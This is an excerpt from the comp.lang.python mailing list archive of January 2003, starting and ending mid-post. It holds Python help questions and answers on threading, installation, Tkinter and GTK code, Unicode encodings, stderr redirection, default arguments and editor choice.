means of communicating, then in general you should be safe.

If, however, this custom method starts directly manipulating data
in the thread object, you could quickly get into trouble if you
don't know about thread synchronization issues.  If that's what
you need, and you won't for some reason use a Queue, you'll
need to learn more about Semaphores or RLocks or such things
to keep yourself out of trouble.  Better just to stick with 
Queue...

-Peter



From martin at v.loewis.de  Thu Jan  9 11:25:30 2003
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Thu, 09 Jan 2003 17:25:30 +0100
Subject: problems installing python 2.2.2 on solaris 8
In-Reply-To: <pan.2003.01.09.15.08.00.420658@hotmail.com>
References: <pan.2003.01.09.15.08.00.420658@hotmail.com>
Message-ID: <3E1DA27A.2010706@v.loewis.de>

John Bernhardt wrote:
> I'm trying to get Python 2.2.2 installed on a solaris 8 SPARC system
> and have run into a problem that I need some help resolving.  On this
> system, I can successfully compile Python and the compiled version
> passes all of the tests run by 'make test'.  However, when I do a
> make install, there are quite a few modules that do not get copied
> into /usr/local/lib/python2.2 including the socket and time modules;
> more I'm sure, but my scripts fail on loading smtplib because those
> two modules are not installed.

Are you sure the socket tests passed successfully? The most likely cause 
for the socket module not being installed is that it failed to build. 
The most likely cause for it to fail to build is that Python has 
detected an unusable OpenSSL installation. If that happens, either make 
the OpenSSL installation usable, remove it, or edit Modules/Setup to 
build the socket module without SSL support.

HTH,
Martin





From max at alcyone.com  Thu Jan 30 22:08:06 2003
From: max at alcyone.com (Erik Max Francis)
Date: Thu, 30 Jan 2003 19:08:06 -0800
Subject: Scripting *of* Python
References: <b1bj7a$i9o$1@jura.cc.ic.ac.uk> <b1bnhb$326$1@panix2.panix.com>
Message-ID: <3E39E896.6AD5FEBC@alcyone.com>

Aahz wrote:

> Based on what you've said, I'd suggest looking into switching to
> Twisted, http://www.twistedmatrix.com/products/twisted

It doesn't sound like Twisted in and of itself would help his problem in
any way.  His problem is using things asynchronously and making them
readable; Twisted will just give him a different asynchronous framework
in which to find the same problems.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ The only way to get rid of a temptation is to yield to it.
\__/ Oscar Wilde
    Bosskey.net: Quake III Arena / http://www.bosskey.net/q3a/
 A personal guide to Quake III Arena.



From mis6 at pitt.edu  Thu Jan  2 11:14:52 2003
From: mis6 at pitt.edu (Michele Simionato)
Date: 2 Jan 2003 08:14:52 -0800
Subject: how to extract source code from code objects ?
Message-ID: <2259b0e2.0301020814.2cbeb25c@posting.google.com>

I can compile a string in a code object:

>>> code_object=compile('x=1','<string>','exec')

now the code_object.co_code attribute contains the bytecode corresponding
to the statement x=1:

>>> code_object.co_code
'\x7f\x00\x00\x7f\x01\x00d\x00\x00Z\x00\x00d\x01\x00S'

Is there a way to have back the source code, i.e. the string 'x=1'
instead of the bytecode ?
TIA,


--
Michele Simionato - Dept. of Physics and Astronomy
210 Allen Hall Pittsburgh PA 15260 U.S.A.
Phone: 001-412-624-9041 Fax: 001-412-624-9163
Home-page: http://www.phyast.pitt.edu/~micheles/



From theivo at abv.bg  Mon Jan 20 10:34:42 2003
From: theivo at abv.bg (I.C.)
Date: 20 Jan 2003 07:34:42 -0800
Subject: Problems with grabscreen module
Message-ID: <6ac1ecad.0301200734.567988d8@posting.google.com>

I downloaded the grabscreen
module(grabscreen-1.0-20010426.win32-py2.1.exe) from effbot.org, but
when I try to install it, it can't recognize a Python installation on
my PC. I suppose that it can work only with Python 2.1(I use 2.2). Can
somebody help me to configure it so, that I can use it with 2.2.
THX

I.C.



From skip at pobox.com  Tue Jan 14 10:49:15 2003
From: skip at pobox.com (Skip Montanaro)
Date: Tue, 14 Jan 2003 09:49:15 -0600
Subject: [ann] Minimal Python project
In-Reply-To: <OASU9.131402$Hs2.11990469@kent.svc.tds.net>
References: <mailman.1042209749.31180.python-list@python.org>
        <FOIT9.121090$Hs2.11398609@kent.svc.tds.net>
        <m2adi7ull8.fsf@mycroft.actrix.gen.nz>
        <OASU9.131402$Hs2.11990469@kent.svc.tds.net>
Message-ID: <15908.12667.750630.444724@montanaro.dyndns.org>

    Edward> The essence of what psyco is doing in this example is
    Edward> (cleverly!)  discovering the types of Python objects and...

It discovers the values of Python objects as well.  That is information
which can generally only be found at runtime.  In addition, for operations
which can take values of multiple types, Psyco can generate specialized
versions tailored to just those types which happen to be used.

Skip




From tismer at tismer.com  Mon Jan 20 22:01:41 2003
From: tismer at tismer.com (Christian Tismer)
Date: Tue, 21 Jan 2003 04:01:41 +0100
Subject: Continuations
In-Reply-To: <f57664b9.0301201639.6d407f62@posting.google.com>
References: <%JKW9.76002$H7.3528201@news2.calgary.shaw.ca> <mailman.1043070703.14456.python-list@python.org> <f57664b9.0301201639.6d407f62@posting.google.com>
Message-ID: <3E2CB815.1000104@tismer.com>

Jonathan P. wrote:
> Christian Tismer <tismer at tismer.com> wrote in message news:<mailman.1043070703.14456.python-list at python.org>...
> 
>>>Every introduction to continuations I've found either describes it using 
>>>Scheme, which I haven't touched in a decade, and which I suspect most 
>>>people haven't worked with at all, or re-uses the above Python example 
>>>with little explanation.
>>
>>In Scheme, it is easier to express, and you don't need
>>tricks like above.
>>While Python doesn't need continuations.
>>Stackless focuses on tasklets and channels, now.
> 
> 
> I finally understood how continuations worked when I
> spent a couple of days working with some examples in 
> Scheme.  Nathaniel Gray's, "A Tutorial on Continuations" 
> does a great job of demystifying it.  Once I understood
> how they worked, I found it really wasn't as arcane
> as the impression I first got.  The closest analogy
> I could think is that of a bookmark (in execution).

Not too bad!
Note that you can continue that bookmark infinite
times, at the same time.
This exactly is what I've abandoned now.
It is extremely confusing, and hard to implement.

ciao - chris





From astavale at yahoo.co.uk  Thu Jan 16 13:57:40 2003
From: astavale at yahoo.co.uk (Alistair Thomas)
Date: Thu, 16 Jan 2003 18:57:40 GMT
Subject: Fileselection window of Gnome/GTK
References: <b0597d$ltf34@imsp212.netvigator.com>
Message-ID: <EgDV9.6102$JI3.49081541@news-text.cableinet.net>

In article <b0597d$ltf34 at imsp212.netvigator.com>, "Wouter van Marle"
<wouterm at spammers-unite-here.com> wrote:

> What I have done so far: in glade I created a file selection widget, and
> connected the OK and Cancel butten to signal when <clicked>. Then in my
> python program I open the file selection widget, and connect the two
> signals.
> Now this simply does not work

Here's a quick copy and paste of some code which I use, hopefully give you
some clues. Although the code probably  isn't enough to work:

from GUI import window, dialogues

a = dialogues.file_selector ( 'Open', self.specfile.localsource )
if hasattr ( a, 'filename'):
	self.specfile.source[ b ].location = a.filename

----------
window module
----------
import gtk, gnome.ui, libglade

class open ( libglade.GladeXML ) :
	"""Creates an open window.
It assumes the project has one glade file which contains all
the window's layouts. Specify this file's location using the
'glade_file' attribute of the window module.
To create the open window object specify the window's name
as held in the glade file."""

	def __init__ (self , window ):
		libglade.GladeXML.__init__ ( self , glade_file , window )
		self.window = window

	def add_handlers ( self , handlers ):
		"Add dictionary of signal handlers to the open window"
		self.signal_autoconnect ( handlers )

	def remove_handlers ( self , handlers ):
		"Is this useful or even possible?"
		pass

	def close ( self ):
		self.get_widget ( self.window ). destroy ()

------------
dialogues module
------------
import gtk, gnome.ui, libglade, GDK
import window

def about ( widget = None ):
	window.open( "about" )

class file_selector ( window.open ):

	def __init__ ( self , type = "Browse", filename = "" ):
		window.open.__init__ ( self , "fileselector" )
		a = self.get_widget ( "fileselector" )
		a.set_title ( type )
		if type== "Open":
			a.hide_fileop_buttons ()
		if type== "Save As":
			a.show_fileop_buttons ()
		self.add_handlers ( {     "ok_button" : self.ok_button ,
					"cancel_button" : self.cancel_button,
					"closed" : self.closed } )
		a.set_filename ( filename )
		gtk.mainloop ()

	def ok_button ( self , widget ):
		a = widget.get_toplevel ( )
		self.filename = a.get_filename ()
		self.close ()

	def cancel_button ( self , widget ):
		self.close ()

	def closed ( self, widget = None ):
		gtk.mainquit ()



From andrew at indranet.co.nz  Tue Jan  7 23:21:26 2003
From: andrew at indranet.co.nz (Andrew McGregor)
Date: Wed, 08 Jan 2003 17:21:26 +1300
Subject: Laura's List - was Re: new years resolutions 
In-Reply-To: <200301080357.h083v0jL005109@ratthing-b246.strakt.com>
References: <mailman.1041872080.15063.python-list@python.org>
 <2259b0e2.0301070445.698adc9e@posting.google.com> 
 <200301080357.h083v0jL005109@ratthing-b246.strakt.com>
Message-ID: <72950000.1041999686@localhost.localdomain>


--On Wednesday, January 08, 2003 04:57:00 +0100 Laura Creighton 
<lac at strakt.com> wrote:

> I don't think that languages are wise, but they certainly can promote
> wisdom, or cleverness.  One of the reasons Perl scripts are hard to
> maintain is that it is very easy to pour cleverness on  cleverness.
> You get preoccupied with 'what minimal clever hack can I do today to
> modify this program to make it fit my new requirements'.  Days, weeks,
> months after you should have tossed some code and written it with the
> new specs, you think that with one more tweak you can get it to work
> and 'save you rewriting it'.  But the rewriting would have been faster
> and clearer.  You waste your life trying to be clever.  And there is
> something about Perl that encourages such unprofitable time-wasting.
> I still don't understand why this is so, but I have watched it in myself
> and others again, and again, and again.
>
> Laura

It's the syntax, I'm sure.  So much power in single characters, and the 
canonical way of doing so many things is regexps.

The biggest thing that drives perl and C++ into hackishness, and Python, 
Pascal and Lisp the other way, is syntactic regularity or lack thereof.

I'm not sure where C lies.

You can see the same thing in physics; contrast the notation of classical 
mechanics with the operator algebra formulation of QM.  Or even the 
classical vs relativistic notations for relativistic EM.

I think the driving force is that a clean design takes more typing in Perl, 
whereas in Python it's usually much, much less.

Andrew




From jwm-python at sentinelchicken.net  Tue Jan 28 15:35:42 2003
From: jwm-python at sentinelchicken.net (Jason Morgan)
Date: Tue, 28 Jan 2003 15:35:42 -0500
Subject: pyUNO, where is it?
Message-ID: <20030128203542.GC14122@sentinelchicken.net>

Could someone point me to the pyUNO site? Has it moved? Is it gone?
I checked http://polysorbate.org/?work/pyuno, but it doesn't seem
to be there anymore.

Or, if that project is no longer in existence, does anyone else
have any suggestions as to what I should use to interface with
OpenOffice?

Thanks,

Jason




From skip at pobox.com  Sat Jan 25 09:04:23 2003
From: skip at pobox.com (Skip Montanaro)
Date: Sat, 25 Jan 2003 08:04:23 -0600
Subject: Something like asynchronous XML-RPC possible?
In-Reply-To: <cb035744.0301250336.4f378943@posting.google.com>
References: <mailman.1043454645.26543.python-list@python.org>
        <cb035744.0301250336.4f378943@posting.google.com>
Message-ID: <15922.39271.307611.82813@montanaro.dyndns.org>

    Will> As Stuart guessed, the application is indeed sort of realtime,
    Will> they want the caller to continue processing *immediately* after
    Will> sending the event to the server....

How "realtime" is "sort of realtime"?  Are you on a fast enough, lightly
loaded enough network?  You may still be able to get away with a system
which queues the event on the server side and just returns "okay".  On my
XML-RPC server, I can call its echo method with very short turnaround times:

    >>> for i in range(10):
    ...   t = time.time()
    ...   x = manatee.echo("hi")
    ...   print "%.2f" % (time.time()-t)
    ... 
    0.10
    0.04
    0.01
    0.01
    0.01
    0.01
    0.02
    0.01
    0.01
    0.13

(It's an active server, so variability in response time is to be expected.)
It's multi-threaded, spinning off a thread for each request.  Even over the
internet I can get round-trip echo times in the neighborhood of 0.2 seconds.

Skip




From bdesth at nospam.free.fr  Wed Jan  8 23:24:44 2003
From: bdesth at nospam.free.fr (laotseu)
Date: Wed, 08 Jan 2003 23:24:44 -0500
Subject: Small problem when overloading member functions...
References: <ef7a350b.0301081234.69f16267@posting.google.com>
Message-ID: <3E1CF98C.6080204@nospam.free.fr>

Sean wrote:
> I'm a little new to the language, so please excuse me if I'm missing
> something obvious.  I've run into (what looks like) a strange
> inconsistency in the language.  Anyway, I have a setup where I
> initialize a class object within another class, and then have to
> overload one of the new object's functions:
> 
> BEGIN SAMPLE CODE:
> 
> class A:
>   def __init__(self):
>     pass
>     
>   def setFunction(self, fromFunc, toFunc):
>     fromFunc = toFunc
>     
>   def myPrint(self):
>     print 'Old'  
> 
> 
> class myClass:
>   def __init__(self):
>     a = A()
> 
>     #a.setFunction(a.myPrint, self.newPrint)
>     a.myPrint = self.newPrint
> 
>     a.myPrint()
> 
>   def newPrint(self):
>     print 'New'
> 
> 
> b = myClass()
> 
> 
> END SAMPLE CODE
> 
> The code above works fine, and prints out 'New' like it should. 
> However, when I try to use the commented line (a.setFunction...)
> instead of (a.myPrint = self.newPrint), the a.myPrint function is not
> getting overloaded and still prints out 'Old'.  It seems to me that
> since I'm passing both method instance objects to a.setFunction(),
> there should be no problem overloading them.  Is there a way I can do
> this with a function call?  It's important for this system to have a
> generic method for overloading functions...

I'm not quite sure to understand what you're trying to do, but I dont 
see what is has to do with overloading...

First let have a look on your code :

 > class A:
 >   def __init__(self):
 >     pass
 >
 >   def setFunction(self, fromFunc, toFunc):
 >     fromFunc = toFunc
Why do you need to make this a method ? It could (and should IMHO) be 
either a function or a static method. (hint : 'self' is not used)

 >   def myPrint(self):
 >     print 'Old'
 >
 >
 > class myClass:
 >   def __init__(self):
 >     a = A()
 >     #a.setFunction(a.myPrint, self.newPrint)
Ok, this just can't work because a method *is not* just a function.

 >     a.myPrint = self.newPrint
This is a more simple way to do it, and that ones work !-)

 >     a.myPrint()
 >
 >   def newPrint(self):
 >     print 'New'
 >
 >
 > b = myClass()
 >

Ok, now where are you overloading a function ?

Usually (please correct me if i'm wrong), "overloading" a function means 
"having two (or more) functions with the same name but different 
argument lists". This is a 'feature' of languages like C++ or Java, but 
not of Python (where you could use some other way to achieve this).

What you're doing here is 'replacing' an instance method with another 
one (I guess in Python's parlance, we should say 'rebinding').

If what you're trying to do is just that (replacing an instance method), 
  do it the simplest way (the one that is not commented in your code).

Now if you want to 'replace' a method for all existing instances of a 
class,  I leave it up to some __class__ Guru !-)

Laotseu




From john_taylor_1973 at yahoo.com  Thu Jan  2 14:33:47 2003
From: john_taylor_1973 at yahoo.com (John Taylor)
Date: 2 Jan 2003 11:33:47 -0800
Subject: Best Python Editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <slrnb18rrp.7kd.rmunn@rmunnlfs.dyndns.org>
Message-ID: <fc30bff.0301021133.7423dcc3@posting.google.com>

Johan,

I am also a big fan of Vim.  It can be run from the console or in an
xterm, but there is also a GUI version, that makes it really easy to
open/save files, copy/paste, find/replace, etc.  It has syntax
highlighting for many languages including python.  One really neat
feature of Vim it that it has the ability to turn your syntax
highlighted code into an HTML document, which is a really nice way to
post code snippets to the web.  Under Windows, you can use Gvim, which
is similar to the GUI linux version.

John

Robin Munn <rmunn at pobox.com> wrote in message news:<slrnb18rrp.7kd.rmunn at rmunnlfs.dyndns.org>...
> Johan <johan at contillion.com> wrote:
> > Hi,
> > 
> > Anyone know some good Python editors under Linux?
> > With good color highlightning... :)
> > 
> > I prefer free editors (have seen WingIDE but it isnt free :(...).
> > 
> > I hope someone know where i can find some editors :)
> > 
> > Looking forward to your replies... :)
> > 
> > Regards,
> > Johan
> 
> My personal preference is for Vim (http://www.vim.org/). It's standard
> Unix vi with all the features (like color highlighting, text folding,
> etc.) that you might want in a programmer's editor. If vi isn't your cup
> of tea, you won't like Vim. But if, like me, you've grown used to the
> flexibility of vi's modal keybindings, you'll love it. To give you an
> idea, I am actually twice as productive, roughly, in Vim as in another
> editor. This is only a subjective measure, but there you go.



From KittyMCooper at zianet.com  Sun Jan  5 13:48:56 2003
From: KittyMCooper at zianet.com (Kitty Munson Cooper)
Date: Sun, 5 Jan 2003 11:48:56 -0700
Subject: Embedded python: printing exceptions to a file?
References: <av9com$nrl$1@Fourier.suse.de>
Message-ID: <3e187e18$1@news.zianet.com>

If you search the python newsgroup archives (available on the saerch
function from python.org) for redirecting sys.stderr, you will find many
useful discussions of problems similar to yours.

> - Is there any easy & recommended way to let sys.stderr point to another
> open file object?

YES, use "=",  here is a working example:

import sys

try:
  logfile = open ('logfile.txt',"w",0)  #the 0 means unbuffered so we get it
all on a failure
except Exception, why:
  print "Open of logfile failed:", why
else:
  try:
    sys.stderr = logfile
  except why:
    print "** FAILED ** Could not redirect errors -- ",why
  else:
    ## code to force an error
    print "testing logging"
    print "force an error"
    a = 0
    b = 3
    print b/a
    ## end of code to force an error
## restore  stderr
try:
  sys.stderr = standardset

except Exception , why:
  print "**FAILED** ",why

logfile.close()



--
---------------------------------------------------------------
Kitty Munson Cooper, web designer  -- KittyMCooper at zianet.com
Holiday Greetings at http://www.kittymunson.com/Xmas/2002.html
more information at http://www.kittycooper.com/resume.html


"Gernot Hillier" <ghillie at suse.de> wrote in message
news:av9com$nrl$1 at Fourier.suse.de...
> Hi!
>
> I use embedded python in my application and I'm really enthusiastic about
it
> - the API is really well designed, thx. :-)
>
> But now I have a small problem - I want to log errors from python scripts
> running in the embedded interpreter to a log file.
>
> All I found so far is PyErr_Print() which prints to sys.stderr.
>
> I looked at its implementation - hoping to find a small function where I
> just could change sys.stderr to some open file and copy it to my
> application - but it seems to be rather complex so I think it's not wise
to
> copy and modify all this code... :-((
>
> So I see two ways:
>
> - Perhaps there's a function provided which already provides an
alternative
> to PyErr_Print()?
>
> - Is there any easy & recommended way to let sys.stderr point to another
> open file object?
>
> <OT>
> I just wonder if it would be wise to splitup this newsgroup into some more
> specific subjects like (just suggestions)
> - Python main (questions regarding the core Python functionality)
> - Python-Newbie (installing, troubleshooting simple scripts, ...)
> - Embedding/Extending python questions
> - Additional modules
> - ...
>
> I really would like to read this group more actively - but it contains
> simply too much mails and too much things I'm not interested in...
> </OT>
>
> TIA!
>
> --
> Ciao,
>
> Gernot





From brian at sweetapp.com  Fri Jan 24 11:49:16 2003
From: brian at sweetapp.com (Brian Quinlan)
Date: Fri, 24 Jan 2003 08:49:16 -0800
Subject: Is there really a default source encoding?
In-Reply-To: <b0r743$raj$02$1@news.t-online.com>
Message-ID: <00a501c2c3c8$880f6120$21795418@dell1700>

> > No, UTF-32 exists. For Japanese, UTF-8 requires (at minimum) 50%
more
> > space per character than UTF-8. I was being facetious with my UTF-32
> > comment. But UTF-32 may become more efficient than UTF-16, for some
> > languages (e.g. Sancrit), in the future.
> 
> Hardly so. UTF-16 requires four bytes per character in the worst case;
> UTF-32 requires four bytes per character for every character.

What if, in the future, there are close to 2^32 Unicode characters.
UTF-32 might require only 4 bytes to store a character while UTF-16
would require 6. Or is that impossible?

> I usually refer to the UTF-8 BOM as "UTF-8 signature", as it does not
> indicate a byte order, but indicates the encoding itself.

That's exactly what I said. I like the UTF-8 BOM because it allows
instant encoding detection. 

Cheers,
Brian





From pyth at devel.trillke.net  Fri Jan  3 11:08:01 2003
From: pyth at devel.trillke.net (holger krekel)
Date: Fri, 3 Jan 2003 17:08:01 +0100
Subject: how to extract source code from code objects ?
In-Reply-To: <15893.45189.968642.911259@montanaro.dyndns.org>; from skip@pobox.com on Fri, Jan 03, 2003 at 09:47:17AM -0600
References: <2259b0e2.0301020814.2cbeb25c@posting.google.com> <mailman.1041525363.20935.python-list@python.org> <2259b0e2.0301030725.93d18c9@posting.google.com> <15893.45189.968642.911259@montanaro.dyndns.org>
Message-ID: <20030103170801.K2841@prim.han.de>

Skip Montanaro wrote:
> 
>     Michele> decompyle works and it is easy to install and to use. However,
>     Michele> it is not in the standard library and this implies two
>     Michele> disadvantages:
>     Michele> i) it is not universally available;
>     Michele> ii) for any new version of Python I must download a new version
>     Michele> of decompyle. 
> 
>     Michele> I was hoping for a more built-in solution, as for instance an
>     Michele> attribute .co_source in code objects. I guess this would be
>     Michele> inefficient for memory consumption or for other technical
>     Michele> reasons.
> 
> Inefficient, perhaps, but not hugely, I wouldn't think, since code objects
> are relatively rare beasts in the Python object landscape.  The source code
> isn't normally needed, because in most cases it can be looked up in the
> source file (check out the inspect.getsource function).  If you can provide
> a convincing use case why the source for manually compiled code should be
> retained in a feature request on SourceForge, it's possible that someone
> will add a co_source field to code objects.  It would help if you supplied a
> patch that implemented the feature request.  (Note that simply extending
> code objects with a co_source slot won't be enough.  The compiler will have
> to be modified to stuff the code in there.)

Add the ability to *modify* the co_code object and then we could do
live-editing of objects:  interactively modify a function object by 
modifying it's source and recompiling the co_code object.  This would also
help to version control on the object level.  inspect.getsource isn't
that exact especially since you can't use it within the __main__ module. 

i guess modifying the co_code object might get tricky as it currently
is an immutable object.  Or is this easily solved? 

    holger




From goodger at python.org  Tue Jan 28 19:42:04 2003
From: goodger at python.org (David Goodger)
Date: Wed, 29 Jan 2003 00:42:04 GMT
Subject: [Q] Customizable text editor based on Python? 
In-Reply-To: <1fpidub.1nl29qx1bozn22N%eRrEiMcOgVoErMrE@cox.net>
References: <1fpidub.1nl29qx1bozn22N%eRrEiMcOgVoErMrE@cox.net>
Message-ID: <BA5C8D8C.2F96F%goodger@python.org>

Eric wrote:
> I was wondering if people could point me to a text editor which can be
> extended using Python, similar to how Emacs can be extended via LISP and
> Alpha can be extended via TCL/TK.

Emacs + Pymacs: http://www.iro.umontreal.ca/~pinard/pymacs/

-- 
David Goodger    http://starship.python.net/~goodger    Projects:
  * Python Docutils: http://docutils.sourceforge.net/
    (includes reStructuredText: http://docutils.sf.net/rst.html)
  * The Go Tools Project: http://gotools.sourceforge.net/




From gerhard.haering at gmx.de  Fri Jan 10 09:46:39 2003
From: gerhard.haering at gmx.de (Gerhard =?iso-8859-1?Q?H=E4ring?=)
Date: 10 Jan 2003 14:46:39 GMT
Subject: Python Based Bug Database?
References: <fd065f64.0301100637.483c0b19@posting.google.com>
Message-ID: <slrnb1tn6e.f8.gerhard.haering@lilith.my-fqdn.de>

Charles Medcoff wrote:
> Hello,
> 
> Is anyone aware of a free or open-source, web based bug tracking
> system based on python?

http://roundup.sf.net/

Gerhard
-- 
Favourite database:             http://www.postgresql.org/
Favourite programming language: http://www.python.org/
Combine the two:                http://pypgsql.sf.net/
Embedded database for Python:   http://pysqlite.sf.net/



From peter at engcorp.com  Fri Jan  3 18:51:14 2003
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 03 Jan 2003 18:51:14 -0500
Subject: php vs python
References: <mailman.1041625688.13638.python-list@python.org> <3e16006e$0$230$edfadb0f@dread12.news.tele.dk> <3e160151$0$49101$e4fe514c@news.xs4all.nl>
Message-ID: <3E1621F2.C9FA1D6F@engcorp.com>

Irmen de Jong wrote:
> 
> Joe wrote:
> > Thankes for the enlightment... ill guess i stick to php then as I'm very
> > dependen on the apache server.
> 
> Err.. have you read the response about mod_python correctly?
> see  www.modpython.org.

More likely he just didn't notice the subtle comments about how much
easier and more readable it is to code in Python...

Joe, take a look at some Python code for a while.  Maybe even try
porting a small script or two.  If it's not for you, you'll find
that quickly enough.  Quite possibly, though, you'll discover a 
language in which it is a sheer joy to program, and one which has
a more coherent design than PHP, and which can take you into other
areas of programming with much less difficulty than if you were to
try that with PHP.

-Peter



From rcellis at email.com  Thu Jan 30 23:22:59 2003
From: rcellis at email.com (R. C. Ellis)
Date: Fri, 31 Jan 2003 04:22:59 GMT
Subject: How do you know if you're out of memory?
Message-ID: <3E39FB57.6070301@email.com>

I'm an old programmer... from so far back some of my code appeared on 
the back of a stegesaurus.. (and it was buggy, of course).

Anyway, how do I know if a new Tkinter widget I create has enough memory 
to instantiate?  I'd rather catch an exception or something, rather than 
  gift my user with a wonderful interpreter message.

RC




From martin at v.loewis.de  Fri Jan 24 22:37:57 2003
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sat, 25 Jan 2003 04:37:57 +0100
Subject: tkinter + unicode + bug or feature??
In-Reply-To: <3E31F9ED.7090806@kootenay.com>
References: <3E3185C3.90402@kootenay.com> <mailman.1043434578.25336.python-list@python.org> <3E319B8C.8020801@kootenay.com> <b0ssrc$mqt$00$1@news.t-online.com> <3E31F9ED.7090806@kootenay.com>
Message-ID: <b0t0qj$76g$05$1@news.t-online.com>

Bob van der Poel wrote:
> BTW, I really think this is a bug. If you enter "ascii" text into the 
> entry box you get() returns a string, if you enter "extended ascii" you 
> get a unicode string. And since one can't tell beforehand what the user 
> is going to enter... Add to this the fact that the behaviour is not 
> documented in the tkinter reference manual (yes, it is the tcl/tk manual).

So what do you think the correct behaviour should be?

> Well, yes. Being on the US-side (altho I do live in Canada and we're a 
> bit less centric in our thinking) I was just referring to a "normal" 
> encoding...whatever that is :)

There is no such thing.

> Yes, local.getlocale() works fine. Now, if I do use encode on these 
> strings, will I run into problems if the user's locale is not encodable 
> into 8bits. Or can that not happen?

Depends on what you mean by "8bits". You might have meant to ask

Q. Could it happen that the user enters characters that cannot be 
represented in the 'normal encoding'?
A. Yes, this can happen. If you merely want to compare this to another 
byte string, you should decode that byte string to Unicode, and perform 
the comparison then.

or you meant to ask

Q. Could it happen that the encoding produces more than one byte per 
character.
A. Yes, this can happen, but it is no problem.

or you meant to ask

Q. Will Python support 'normal encodings' that produce more than one 
byte per character out of the box?
A. No, Python does not ship with any such codecs (*). You should install 
the JapaneseCodecs, KoreanCodecs, or ChineseCodecs package for that.

Regards,
Martin

(*) Except for UTF-8, UCS-2, UCS-4.




From maxm at mxm.dk  Wed Jan 29 17:34:36 2003
From: maxm at mxm.dk (Max M)
Date: Wed, 29 Jan 2003 23:34:36 +0100
Subject: is it a bug ??
In-Reply-To: <3E383FA0.3000000@wanadoo.fr>
References: <3E383FA0.3000000@wanadoo.fr>
Message-ID: <%DYZ9.47562$Hl6.6097004@news010.worldonline.dk>

brauner joel wrote:

> but the same function with the use of the "append" methods :
> 
> def f(a=[]):
>     print a
>     if len(a)<5:
>         a.append(1)
>         f(a)
>     print a
> 
> returns :


It IS confusing. But it *is* documented in chapter 4 of the tutorial.

"
4.7.1 Default Argument Values


Important warning: The default value is evaluated only once. This makes 
a difference when the default is a mutable object such as a list or 
dictionary. For example, the following function accumulates the 
arguments passed to it on subsequent calls:


def f(a, L=[]):
     L.append(a)
     return L

print f(1)
print f(2)
print f(3)

This will print


[1]
[1, 2]
[1, 2, 3]

If you don't want the default to be shared between subsequent calls, you 
can write the function like this instead:


def f(a, L=None):
     if L is None:
         L = []
     L.append(a)
     return L
"


-- 

hilsen/regards Max M Rasmussen, Denmark

http://www.futureport.dk/
Fremtiden, videnskab, skeptiscisme og transhumanisme




From martin at v.loewis.de  Fri Jan 24 06:13:11 2003
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Fri, 24 Jan 2003 12:13:11 +0100
Subject: Is there really a default source encoding?
In-Reply-To: <mailman.1043392662.15032.python-list@python.org>
References: <mailman.1043392662.15032.python-list@python.org>
Message-ID: <b0r743$raj$02$1@news.t-online.com>

Brian Quinlan wrote:
> No, UTF-32 exists. For Japanese, UTF-8 requires (at minimum) 50% more
> space per character than UTF-8. I was being facetious with my UTF-32
> comment. But UTF-32 may become more efficient than UTF-16, for some
> languages (e.g. Sancrit), in the future.

Hardly so. UTF-16 requires four bytes per character in the worst case; 
UTF-32 requires four bytes per character for every character.

> I don't understand. In UTF-8, the BOM allows you to easily distinguish
> between documents with UTF-8 encoding and a locale dependant
> byte-encoding. For multibyte encodings (e.g. UTF-16) it is impossible to
> determine the encoding without knowing the byte order. Do you have some
> other solution with a feasible implementation?

I think the entire BOM issue is messed up. UTF-16 was originally 
intended to be big-endian, AFAIK. It is only those Microsoft engineers 
who missed this point (or deliberately ignored it) that required 
introduction of the BOM afterwards.

I usually refer to the UTF-8 BOM as "UTF-8 signature", as it does not 
indicate a byte order, but indicates the encoding itself.

Regards,
Martin




From gmfawcett at operamail.com  Thu Jan 16 20:41:23 2003
From: gmfawcett at operamail.com (Graham Fawcett)
Date: 16 Jan 2003 17:41:23 -0800
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann]  Minimal Python project)
References: <7x8yxqduco.fsf@ruckus.brouhaha.com> <7xr8bjgz4x.fsf@ruckus.brouhaha.com> <mailman.1042326208.15022.python-list@python.org> <7x4r8ej1r9.fsf@ruckus.brouhaha.com> <mailman.1042393464.20506.python-list@python.org> <7x8yxqduco.fsf@ruckus.brouhaha.com> <5.0.2.1.1.20030112185911.00a7a6d0@mail.oz.net> <mailman.1042427842.32098.python-list@python.org> <7xk7h9hddg.fsf@ruckus.brouhaha.com> <7xr8bhu0es.fsf@ruckus.brouhaha.com> <3E224ADD.9D246F6D@alcyone.com>
Message-ID: <3d799735.0301161741.39ee8691@posting.google.com>

How about 'Ouroboros'? The Greek mythical snake that is eating its own
tail. A fitting name for a language implemented in itself.

Google gives us http://abacus.best.vwh.net/oro/ouroboros.html:

'The "tail-devourer" is the symbolization of concepts such as
completion, perfection and totality, the endless round of
existence...'

Also spelled 'orobouros,' not sure which is correct.

Makes me think of 'tail recursion,' too. Oops, wrong language. ;-)

Python-in-python-in-python-in-python'ly yours,

-- Graham



From tundra at tundraware.com  Sat Jan 25 18:50:07 2003
From: tundra at tundraware.com (Tim Daneliuk)
Date: 25 Jan 2003 23:50:07 GMT
Subject: Getting SuperUser Authority From Within Running Python Program
Message-ID: <mq7v0b.6g8.ln@boundary.tundraware.com>

Is there a way to have a running Python program acquire super-user status
(assuming the program knows the correct password)?  If so, is this
method portable to Win32 or will Unix and Win32 need different implementations?

TIA,
-- 
------------------------------------------------------------------------------
Tim Daneliuk
tundra at tundraware.com




From ellisjb at my-deja.com  Sun Jan  5 11:35:47 2003
From: ellisjb at my-deja.com (Jonathan Ellis)
Date: 5 Jan 2003 08:35:47 -0800
Subject: Source Forge CVS
References: <8amcnSAFceW664qjXTWcpQ@comcast.com>
Message-ID: <d571ae53.0301050835.792a1826@posting.google.com>

"Justin Shaw" <wyojustin at hotmail.com> wrote in message news:<8amcnSAFceW664qjXTWcpQ at comcast.com>...
> I have a project set up on source forge, SpellQuest,  I need to set up the
> CVS repository.  Can someone tell me how to do it from Windows or Linux.
> The Sourceforge how to tells you to "log into the CVS server"  what is that?
> Is it different from spellquest.sf.net?  I'd appreciate the set by step
